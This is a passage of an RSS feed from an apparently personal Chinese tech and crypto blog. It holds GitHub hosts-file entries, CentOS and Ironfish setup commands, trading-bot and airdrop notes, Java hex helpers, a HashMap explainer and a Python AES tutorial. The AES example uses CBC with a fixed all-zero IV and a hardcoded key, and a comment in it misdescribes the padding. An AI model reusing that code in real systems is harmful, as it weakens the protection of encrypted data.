<span class="hljs-number">52.216</span><span class="hljs-number">.16</span><span class="hljs-number">.160</span>                 github<span class="hljs-operator">-</span>cloud.s3.amazonaws.com
<span class="hljs-number">52.217</span><span class="hljs-number">.172</span><span class="hljs-number">.41</span>                 github<span class="hljs-operator">-</span>com.s3.amazonaws.com
<span class="hljs-number">52.216</span><span class="hljs-number">.28</span><span class="hljs-number">.148</span>                 github<span class="hljs-operator">-</span>production<span class="hljs-operator">-</span>release<span class="hljs-operator">-</span>asset<span class="hljs-operator">-</span>2e65be.s3.amazonaws.com
<span class="hljs-number">52.216</span><span class="hljs-number">.152</span><span class="hljs-number">.124</span>                github<span class="hljs-operator">-</span>production<span class="hljs-operator">-</span>user<span class="hljs-operator">-</span>asset<span class="hljs-operator">-</span>6210df.s3.amazonaws.com
<span class="hljs-number">52.216</span><span class="hljs-number">.169</span><span class="hljs-number">.171</span>                github<span class="hljs-operator">-</span>production<span class="hljs-operator">-</span>repository<span class="hljs-operator">-</span>file<span class="hljs-operator">-</span>5c1aeb.s3.amazonaws.com
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.153</span>               githubstatus.com
<span class="hljs-number">64.71</span><span class="hljs-number">.144</span><span class="hljs-number">.202</span>                 github.community
<span class="hljs-number">23.100</span><span class="hljs-number">.27</span><span class="hljs-number">.125</span>                 github.dev
<span class="hljs-number">185.199</span><span class="hljs-number">.108</span><span class="hljs-number">.133</span>               media.githubusercontent.com
</code></pre><h2 id="h-centos7gccyarn-install" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">centos7中gcc版本问题导致yarn install失败</h2><pre data-type="codeBlock" text="yum install centos-release-scl scl-utils-build
yum install devtoolset-8-gcc*
scl enable devtoolset-8 bash
"><code>yum install centos<span class="hljs-operator">-</span>release<span class="hljs-operator">-</span>scl scl<span class="hljs-operator">-</span>utils<span class="hljs-operator">-</span>build
yum install devtoolset<span class="hljs-number">-8</span><span class="hljs-operator">-</span>gcc<span class="hljs-operator">*</span>
scl enable devtoolset<span class="hljs-number">-8</span> bash
</code></pre><h1 id="h-" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">账户创建及导入导出、余额查看</h1><pre data-type="codeBlock" text="# 创建账号 create 时可以设置账号名字
yarn ironfish accounts:create

# 修改使用某个账号进行挖矿，账号对应钱包
yarn ironfish accounts:use xxx

# 账号导出
yarn ironfish accounts:export xxx /root/xxx.accounts

# 账号导入
yarn ironfish accounts:import /root/xxx.accounts

# 查看余额
yarn ironfish accounts:balance
"><code><span class="hljs-comment"># 创建账号 create 时可以设置账号名字</span>
yarn ironfish accounts:create

<span class="hljs-comment"># 修改使用某个账号进行挖矿，账号对应钱包</span>
yarn ironfish accounts:use xxx

<span class="hljs-comment"># 账号导出</span>
yarn ironfish accounts:<span class="hljs-built_in">export</span> xxx /root/xxx.accounts

<span class="hljs-comment"># 账号导入</span>
yarn ironfish accounts:import /root/xxx.accounts

<span class="hljs-comment"># 查看余额</span>
yarn ironfish accounts:balance
</code></pre><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">本教程更新说明</h2><p>将 svn下载源码的方式调整为使用 git安装</p><ol><li><p><s>安装subversion</s></p><pre data-type="codeBlock" text="yum install subversion
"><code></code></pre></li><li><p><s>下载官方源代码</s></p><pre data-type="codeBlock" text="cd /root
svn checkout &quot;https://github.com/iron-fish/ironfish.git&quot;
"><code><span class="hljs-built_in">cd</span> /root
svn checkout <span class="hljs-string">"https://github.com/iron-fish/ironfish.git"</span>
</code></pre></li></ol>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
        </item>
        <item>
            <title><![CDATA[give me a title]]></title>
            <link>https://paragraph.com/@sddcg/give-me-a-title</link>
            <guid>RjZ5ncTVh2nTlwyhDH7L</guid>
            <pubDate>Sat, 27 Nov 2021 10:15:53 GMT</pubDate>
            <description><![CDATA[雪崩链的螃蟹着实火了一把，IDO 价格156倍，可惜额度低、没拿到高点，只小赚了一点。 感谢avaLuncher 的免费空投，让我感受了一把百倍币，真nb。 当时螃蟹CRA的流动性池子刚开的时候，没有冲进去，错过了一个机会，如果开池就冲进去，也能赚到很多倍，所以最近几天开始潜心研究 池子的合约交互，主流程总算走通了，很多坑也搞定了。 本来计划在昨晚的卡牌游戏 CRAFT 流动性池子干一把，结果差点被套，这个池子已开就是50倍，如果科学家开池抢进去，活脱脱的山顶，还好机器人遇到点小问题没有盲目买进。 迅速在avaluncher上claim自己的第一笔craft，然后快速的在TradeJoe卖掉，gas费飙升的真厉害，claim、合约授权、卖出三个操作gas费就20刀左右了，结果发现子卖在了山脚下，享受了30倍，还是错过了10多倍，不过知足就好，落袋为安。 下一步继续完善机器人功能，可以自动做网格交易，低买高卖，赚点搬砖费。 遗留问题：获取恰当的gasPrice，有时候gas费飙升会直接影响到每笔交易的收益情况网格交易的收益模型完善，能准备捕获利润，自动交易配置参数提取，网格交易的合...]]></description>
            <content:encoded><![CDATA[<p>雪崩链的螃蟹着实火了一把，IDO 价格156倍，可惜额度低、没拿到高点，只小赚了一点。</p><p>感谢avaLuncher 的免费空投，让我感受了一把百倍币，真nb。</p><p>当时螃蟹CRA的流动性池子刚开的时候，没有冲进去，错过了一个机会，如果开池就冲进去，也能赚到很多倍，所以最近几天开始潜心研究 池子的合约交互，主流程总算走通了，很多坑也搞定了。</p><p>本来计划在昨晚的卡牌游戏 CRAFT 流动性池子干一把，结果差点被套，这个池子已开就是50倍，如果科学家开池抢进去，活脱脱的山顶，还好机器人遇到点小问题没有盲目买进。</p><p>迅速在avaluncher上claim自己的第一笔craft，然后快速的在TradeJoe卖掉，gas费飙升的真厉害，claim、合约授权、卖出三个操作gas费就20刀左右了，结果发现子卖在了山脚下，享受了30倍，还是错过了10多倍，不过知足就好，落袋为安。</p><p>下一步继续完善机器人功能，可以自动做网格交易，低买高卖，赚点搬砖费。</p><p>遗留问题：</p><ol><li><p>获取恰当的gasPrice，有时候gas费飙升会直接影响到每笔交易的收益情况</p></li><li><p>网格交易的收益模型完善，能准备捕获利润，</p></li><li><p>自动交易配置参数提取，网格交易的合理配置方式：买入价格、买入数量、卖出价格、卖出数量， 根据网格设置或者根据收益情况如10%盈利 进行平仓</p></li><li><p>多币种支持，目前支持少数币种，自动发现新币种</p></li><li><p>UI界面制作，目前是程序员的视角在使用，待完善为UI操作界面</p></li><li><p>智能监控、自动提醒完善，可以根据监控规则对价格进行监控，达到阈值后触发自动提醒，提醒方式邮件、短信。短信通道问题、敏感字问题，某些大众币种可能会触发短信敏感词</p></li><li><p>新池子监控，池子大小、规模，池子安全性识别，设置规则判断是否抢池子</p></li><li><p>其他dex扩展，如pancake、uniswap、穿山甲等等</p></li></ol>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
        </item>
        <item>
            <title><![CDATA[GameInfinity]]></title>
            <link>https://paragraph.com/@sddcg/gameinfinity</link>
            <guid>DA8Mgn6YzWz1BzfjMvHW</guid>
            <pubDate>Thu, 11 Nov 2021 09:29:15 GMT</pubDate>
            <description><![CDATA[GameInfinity, Building the future of gaming with Web3 and Metaverse on Blockchain.]]></description>
            <content:encoded><![CDATA[<p>GameInfinity, Building the future of gaming with Web3 and Metaverse on Blockchain.</p>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
        </item>
        <item>
            <title><![CDATA[when to success?]]></title>
            <link>https://paragraph.com/@sddcg/when-to-success</link>
            <guid>1Wy8MI3j5l23dVGStuWx</guid>
            <pubDate>Fri, 05 Nov 2021 10:49:40 GMT</pubDate>
            <description><![CDATA[matrixword 被反撸了，地皮成了鸡毛 dc nft 目前还没有进一步的消息，还有些码没做激活，静观其变 discord弄了些号还没见到影子 mirror在进行中，看不见影子 印度抖音认购点额度赌一把 越南版王者荣耀赌一把，推特6万人，IDO0.05U一个币，邀请一个是10个币 https://nft.angle.money/#/home 得了银质 nft，没有马蹄还没有claim https://www.faze.app/refer/VPOTDSBA 拉人注册领空投 雪崩网上参与ido吧 看看哪个能让我发财]]></description>
            <content:encoded><![CDATA[<p>matrixword 被反撸了，地皮成了鸡毛</p><p>dc nft 目前还没有进一步的消息，还有些码没做激活，静观其变</p><p>discord弄了些号还没见到影子</p><p>mirror在进行中，看不见影子</p><p>印度抖音认购点额度赌一把</p><p>越南版王者荣耀赌一把，推特6万人，IDO0.05U一个币，邀请一个是10个币</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://nft.angle.money/#/home">https://nft.angle.money/#/home</a> 得了银质 nft，没有马蹄还没有claim</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.faze.app/refer/VPOTDSBA">https://www.faze.app/refer/VPOTDSBA</a> 拉人注册领空投</p><p>雪崩网上参与ido吧</p><p>看看哪个能让我发财</p>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
        </item>
        <item>
            <title><![CDATA[hexString code]]></title>
            <link>https://paragraph.com/@sddcg/hexstring-code</link>
            <guid>fcjqwo4T6Fy85egcA5fn</guid>
            <pubDate>Sat, 30 Oct 2021 12:41:39 GMT</pubDate>
            <description><![CDATA[HexString——>byte public static byte[] hexStringToBytes(String hexString) { if (hexString == null || hexString.equals("")) { return null; } hexString = hexString.toUpperCase(); int length = hexString.length() / 2; char[] hexChars = hexString.toCharArray(); byte[] d = new byte[length]; for (int i = 0; i < length; i++) { int pos = i * 2; d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1])); } return d; } private static byte charToByte(char c) { return (byte) "0123456789...]]></description>
            <content:encoded><![CDATA[<p><strong>HexString——&gt;byte</strong></p><p>   public static byte[] hexStringToBytes(String hexString) {</p><p>        if (hexString == null || hexString.equals(&quot;&quot;)) {</p><p>            return null;</p><p>        }</p><p>        hexString = hexString.toUpperCase();</p><p>        int length = hexString.length() / 2;</p><p>        char[] hexChars = hexString.toCharArray();</p><p>        byte[] d = new byte[length];</p><p>        for (int i = 0; i &lt; length; i++) {</p><p>            int pos = i * 2;</p><p>            d[i] = (byte) (charToByte(hexChars[pos]) &lt;&lt; 4 | charToByte(hexChars[pos + 1]));</p><br><p>        }</p><p>        return d;</p><p>    }</p><p>    private static byte charToByte(char c) {</p><p>        return (byte) &quot;0123456789ABCDEF&quot;.indexOf(c);</p><p>    }</p><p><strong>byte——&gt;String</strong></p><br><p> public static String bytesToHexString(byte[] src){</p><p>        StringBuilder stringBuilder = new StringBuilder(&quot;&quot;);</p><p>        if (src == null || src.length &lt;= 0) {</p><p>            return null;</p><p>        }</p><p>        for (int i = 0; i &lt; src.length; i++) {</p><p>            int v = src[i] &amp; 0xFF;</p><p>            String hv = Integer.toHexString(v);</p><p>            if (hv.length() &lt; 2) {</p><p>                stringBuilder.append(0);</p><p>            }</p><p>            stringBuilder.append(hv);</p><p>        }</p><p>        return stringBuilder.toString();</p><p>    }</p><p><strong>byte——&gt;hexString</strong></p><p>public   String printHexString( byte[] b) {</p><p>String a = &quot;&quot;;</p><p>  for (int i = 0; i &lt; b.length; i++) { </p><p>    String hex = Integer.toHexString(b[i] &amp; 0xFF); </p><p>    if (hex.length() == 1) { </p><p>      hex = &apos;0&apos; + hex; </p><p>    }</p><br><p>    a = a+hex;</p><p>  } </p><br><p>       return a;</p><p>}</p>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
        </item>
        <item>
            <title><![CDATA[AES Encrypt]]></title>
            <link>https://paragraph.com/@sddcg/aes-encrypt</link>
            <guid>gLAJgevRu3x4IS9Ipamr</guid>
            <pubDate>Wed, 27 Oct 2021 19:20:12 GMT</pubDate>
            <description><![CDATA[问题背景工作中，在和其他服务供应商对接时，有时需要使用AES加密方式实现接口的联调。算法逻辑需要自己实现，现把流程整理如下: 另，基于这篇文章 使用 PyCrypto 进行 AES/ECB/PKCS#5(7) 加密，PKC7填充方式等同于PKC5填充方式。安装依赖pip3 install crypto代码实现包括完整的代码及注解import base64 from Crypto.Cipher import AES class AESCipher: def __init__(self, key): self.key = key[0:16] #只截取16位 self.iv = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" # 16位字符，用来填充缺失内容，可固定值也可随机字符串，具体选择看需求。 def __pad(self, text): """填充方式，加密内容必须为16字节的倍数，若不足则使用self.iv进行填充""" text_length = len(text) amount_to_pad = AES.block_size - (text_leng...]]></description>
            <content:encoded><![CDATA[<h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">问题背景</h2><p>工作中，在和其他服务供应商对接时，有时需要使用AES加密方式实现接口的联调。算法逻辑需要自己实现，现把流程整理如下: 另，基于这篇文章 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://link.zhihu.com/?target=http%3A//likang.me/blog/2013/06/05/python-pycrypto-aes-ecb-pkcs-5">使用 PyCrypto 进行 AES/ECB/PKCS#5(7) 加密</a>，PKC7填充方式等同于PKC5填充方式。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">安装依赖</h2><p><code>pip3 install crypto</code></p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">代码实现</h2><p>包括完整的代码及注解</p><pre data-type="codeBlock" text="import base64
from Crypto.Cipher import AES

class AESCipher:

    def __init__(self, key):
        self.key = key[0:16] #只截取16位
        self.iv = &quot;\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&quot; # 16位字符，用来填充缺失内容，可固定值也可随机字符串，具体选择看需求。

    def __pad(self, text):
        &quot;&quot;&quot;填充方式，加密内容必须为16字节的倍数，若不足则使用self.iv进行填充&quot;&quot;&quot;
        text_length = len(text)
        amount_to_pad = AES.block_size - (text_length % AES.block_size)
        if amount_to_pad == 0:
            amount_to_pad = AES.block_size
        pad = chr(amount_to_pad)
        return text + pad * amount_to_pad

    def __unpad(self, text):
        pad = ord(text[-1])
        return text[:-pad]

    def encrypt(self, raw):
        &quot;&quot;&quot;加密&quot;&quot;&quot;
        raw = self.__pad(raw)
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
        return base64.b64encode(cipher.encrypt(raw))

    def decrypt(self, enc):
        &quot;&quot;&quot;解密&quot;&quot;&quot;
        enc = base64.b64decode(enc)
        cipher = AES.new(self.key, AES.MODE_CBC, self.iv )
        return self.__unpad(cipher.decrypt(enc).decode(&quot;utf-8&quot;))


if __name__ == &apos;__main__&apos;:
    e = AESCipher(&apos;8ymWLWJzYA1MvLF8&apos;)
    secret_data = &quot;6860795567181583&lt;REQDATA&gt;&lt;/REQDATA&gt;242BB99CE386F2B1EA19CCCF606D20E2&quot;
    enc_str = e.encrypt(secret_data)
    print(&apos;enc_str: &apos; + enc_str.decode())
    dec_str = e.decrypt(enc_str)
    print(&apos;dec str: &apos; + dec_str)
输出:
&gt;&gt;&gt; enc_str: gO80A2YMTzkYTzSe6MDjwYLq2X3Du6WXP5CEj1qdaX7b39Egp1Dxj+CGs+PqWkuRkKhPNTt8BPQZfRpi4zj+1UxXjYkO51sRLwgARTlZDKY=
&gt;&gt;&gt; dec str: 6860795567181583&lt;REQDATA&gt;&lt;/REQDATA&gt;242BB99CE386F2B1EA19CCCF606D20E2
"><code><span class="hljs-keyword">import</span> <span class="hljs-title">base64</span>
<span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-title">Crypto</span>.<span class="hljs-title">Cipher</span> <span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">AES</span>

<span class="hljs-title">class</span> <span class="hljs-title">AESCipher</span>:

    <span class="hljs-title">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>, <span class="hljs-title">key</span>):
        <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">key</span> <span class="hljs-operator">=</span> <span class="hljs-title">key</span>[0:16] #只截取16位
        <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">iv</span> <span class="hljs-operator">=</span> <span class="hljs-string">"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"</span> # 16位字符，用来填充缺失内容，可固定值也可随机字符串，具体选择看需求。

    <span class="hljs-title">def</span> <span class="hljs-title">__pad</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>, <span class="hljs-title">text</span>):
        <span class="hljs-string">""</span><span class="hljs-string">"填充方式，加密内容必须为16字节的倍数，若不足则使用self.iv进行填充"</span><span class="hljs-string">""</span>
        <span class="hljs-title">text_length</span> <span class="hljs-operator">=</span> <span class="hljs-title">len</span>(<span class="hljs-title">text</span>)
        <span class="hljs-title">amount_to_pad</span> <span class="hljs-operator">=</span> <span class="hljs-title">AES</span>.<span class="hljs-title">block_size</span> <span class="hljs-operator">-</span> (<span class="hljs-title">text_length</span> <span class="hljs-operator">%</span> <span class="hljs-title">AES</span>.<span class="hljs-title">block_size</span>)
        <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">amount_to_pad</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> 0:
            <span class="hljs-title">amount_to_pad</span> <span class="hljs-operator">=</span> <span class="hljs-title">AES</span>.<span class="hljs-title">block_size</span>
        <span class="hljs-title">pad</span> <span class="hljs-operator">=</span> <span class="hljs-title">chr</span>(<span class="hljs-title">amount_to_pad</span>)
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">text</span> <span class="hljs-operator">+</span> <span class="hljs-title">pad</span> <span class="hljs-operator">*</span> <span class="hljs-title">amount_to_pad</span>

    <span class="hljs-title">def</span> <span class="hljs-title">__unpad</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>, <span class="hljs-title">text</span>):
        <span class="hljs-title">pad</span> <span class="hljs-operator">=</span> <span class="hljs-title">ord</span>(<span class="hljs-title">text</span>[<span class="hljs-operator">-</span>1])
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">text</span>[:<span class="hljs-operator">-</span><span class="hljs-title">pad</span>]

    <span class="hljs-title">def</span> <span class="hljs-title">encrypt</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>, <span class="hljs-title">raw</span>):
        <span class="hljs-string">""</span><span class="hljs-string">"加密"</span><span class="hljs-string">""</span>
        <span class="hljs-title">raw</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">__pad</span>(<span class="hljs-title">raw</span>)
        <span class="hljs-title">cipher</span> <span class="hljs-operator">=</span> <span class="hljs-title">AES</span>.<span class="hljs-title"><span class="hljs-keyword">new</span></span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">key</span>, <span class="hljs-title">AES</span>.<span class="hljs-title">MODE_CBC</span>, <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">iv</span>)
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">base64</span>.<span class="hljs-title">b64encode</span>(<span class="hljs-title">cipher</span>.<span class="hljs-title">encrypt</span>(<span class="hljs-title">raw</span>))

    <span class="hljs-title">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>, <span class="hljs-title">enc</span>):
        <span class="hljs-string">""</span><span class="hljs-string">"解密"</span><span class="hljs-string">""</span>
        <span class="hljs-title">enc</span> <span class="hljs-operator">=</span> <span class="hljs-title">base64</span>.<span class="hljs-title">b64decode</span>(<span class="hljs-title">enc</span>)
        <span class="hljs-title">cipher</span> <span class="hljs-operator">=</span> <span class="hljs-title">AES</span>.<span class="hljs-title"><span class="hljs-keyword">new</span></span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">key</span>, <span class="hljs-title">AES</span>.<span class="hljs-title">MODE_CBC</span>, <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">iv</span> )
        <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">__unpad</span>(<span class="hljs-title">cipher</span>.<span class="hljs-title">decrypt</span>(<span class="hljs-title">enc</span>).<span class="hljs-title">decode</span>(<span class="hljs-string">"utf-8"</span>))


<span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">__name__</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-string">'__main__'</span>:
    <span class="hljs-title">e</span> <span class="hljs-operator">=</span> <span class="hljs-title">AESCipher</span>(<span class="hljs-string">'8ymWLWJzYA1MvLF8'</span>)
    <span class="hljs-title">secret_data</span> <span class="hljs-operator">=</span> <span class="hljs-string">"6860795567181583&#x3C;REQDATA>&#x3C;/REQDATA>242BB99CE386F2B1EA19CCCF606D20E2"</span>
    <span class="hljs-title">enc_str</span> <span class="hljs-operator">=</span> <span class="hljs-title">e</span>.<span class="hljs-title">encrypt</span>(<span class="hljs-title">secret_data</span>)
    <span class="hljs-title">print</span>(<span class="hljs-string">'enc_str: '</span> <span class="hljs-operator">+</span> <span class="hljs-title">enc_str</span>.<span class="hljs-title">decode</span>())
    <span class="hljs-title">dec_str</span> <span class="hljs-operator">=</span> <span class="hljs-title">e</span>.<span class="hljs-title">decrypt</span>(<span class="hljs-title">enc_str</span>)
    <span class="hljs-title">print</span>(<span class="hljs-string">'dec str: '</span> <span class="hljs-operator">+</span> <span class="hljs-title">dec_str</span>)
输出:
<span class="hljs-operator">></span><span class="hljs-operator">></span><span class="hljs-operator">></span> <span class="hljs-title">enc_str</span>: <span class="hljs-title">gO80A2YMTzkYTzSe6MDjwYLq2X3Du6WXP5CEj1qdaX7b39Egp1Dxj</span><span class="hljs-operator">+</span><span class="hljs-title">CGs</span><span class="hljs-operator">+</span><span class="hljs-title">PqWkuRkKhPNTt8BPQZfRpi4zj</span><span class="hljs-operator">+</span>1<span class="hljs-title">UxXjYkO51sRLwgARTlZDKY</span><span class="hljs-operator">=</span>
<span class="hljs-operator">></span><span class="hljs-operator">></span><span class="hljs-operator">></span> <span class="hljs-title">dec</span> <span class="hljs-title">str</span>: 6860795567181583<span class="hljs-operator">&#x3C;</span><span class="hljs-title">REQDATA</span><span class="hljs-operator">></span><span class="hljs-operator">&#x3C;</span><span class="hljs-operator">/</span><span class="hljs-title">REQDATA</span><span class="hljs-operator">></span>242<span class="hljs-title">BB99CE386F2B1EA19CCCF606D20E2</span>
</code></pre>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
        </item>
        <item>
            <title><![CDATA[JDK1.8中HashMap的高低位索引机制]]></title>
            <link>https://paragraph.com/@sddcg/jdk1-8-hashmap</link>
            <guid>0x5apsHqafaaKhCcmRLe</guid>
            <pubDate>Thu, 21 Oct 2021 02:23:58 GMT</pubDate>
            <description><![CDATA[JDK1.8的HashMap在很多方面都做了优化改进，其中扩容时引入了高低位机制，table数组中某个位置的链表或者红黑树中的节点在扩容时，不需要重新按照以前的方式计算索引位置，而只要计算hash值在旧容量最高位对应的二进制是1还是0，是1则会移动到高位索引(原索引位置+原容量)，是零则在低位索引也就是原位置。 # 举例如下： hash值h二进制为 0010 1100 1111 0001 1110 1110 旧容量为length=16，二进制为 0001 0000 length-1=0000 1111 那么扩容前索引位置为 h&(length-1)=1110=14 扩容后，容量为32,对应二进制为 0010 0000 新length-1=0001 1111 hash值对新容量计算索引时，可以看出最后四位二进制是不变的，与原容量时计算一致，唯一变化的是倒数第五位的二进制值，本例中hash对应新索引不变还是14，因为hash的倒数第五位为0 如果hash为0100 0001 0010,旧容量中索引为0010=2，新容量下索引为0001 0010=18=2+16。 # 结论 可见在扩容...]]></description>
            <content:encoded><![CDATA[<p>JDK1.8的HashMap在很多方面都做了优化改进，其中扩容时引入了高低位机制，table数组中某个位置的链表或者红黑树中的节点在扩容时，不需要重新按照以前的方式计算索引位置，而只要计算hash值在旧容量最高位对应的二进制是1还是0，是1则会移动到高位索引(原索引位置+原容量)，是零则在低位索引也就是原位置。</p><p># 举例如下： hash值h二进制为 0010 1100 1111 0001 1110 1110 旧容量为length=16，二进制为 0001 0000 length-1=0000 1111 那么扩容前索引位置为 h&amp;(length-1)=1110=14</p><p>扩容后，容量为32,对应二进制为 0010 0000 新length-1=0001 1111 hash值对新容量计算索引时，可以看出最后四位二进制是不变的，与原容量时计算一致，唯一变化的是倒数第五位的二进制值，本例中hash对应新索引不变还是14，因为hash的倒数第五位为0 如果hash为0100 0001 0010,旧容量中索引为0010=2，新容量下索引为0001 0010=18=2+16。 # 结论 可见在扩容后，索引位置要嘛不变，要嘛移动旧容量个位置。 而判断的依据就是hash值在扩容后容量-1的最高位对应的值，而扩容后容量-1的最高位其实就是扩容前容量的最高位。 因此可以通过h&amp;oldcap来判断，=0代表对应最高位为零，不移动位置；&gt;0代表对应最高位不为零，需要移动到高位索引。</p>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
        </item>
        <item>
            <title><![CDATA[hello]]></title>
            <link>https://paragraph.com/@sddcg/hello</link>
            <guid>NV0bOa8yPwNsVAjucLqa</guid>
            <pubDate>Wed, 13 Oct 2021 12:09:52 GMT</pubDate>
            <description><![CDATA[今天是镜像写入的第一天。 试试吧。 太奇妙了。 我喜欢！头1清单 1清单 2清单 3这是降价格式。 非常好！]]></description>
            <content:encoded><![CDATA[<p>今天是镜像写入的第一天。</p><p>试试吧。</p><p>太奇妙了。</p><p>我喜欢！</p><h2 id="h-1" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">头1</h2><ul><li><p>清单 1</p></li><li><p>清单 2</p></li><li><p>清单 3</p></li></ul><p>这是降价格式。</p><p>非常好！</p>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/77e47bb37b6392eafc4685a5034548a588b1f1ffb3cdb35032ef79baf73e3d56.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[letsie]]></title>
            <link>https://paragraph.com/@sddcg/letsie</link>
            <guid>AVREVOEUXHRdDkCFXcDv</guid>
            <pubDate>Sat, 09 Oct 2021 09:12:08 GMT</pubDate>
            <description><![CDATA[fsawe]]></description>
            <content:encoded><![CDATA[<h2 id="h-fsawe" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">fsawe</h2>]]></content:encoded>
            <author>sddcg@newsletter.paragraph.com (sddcg)</author>
        </item>
    </channel>
</rss>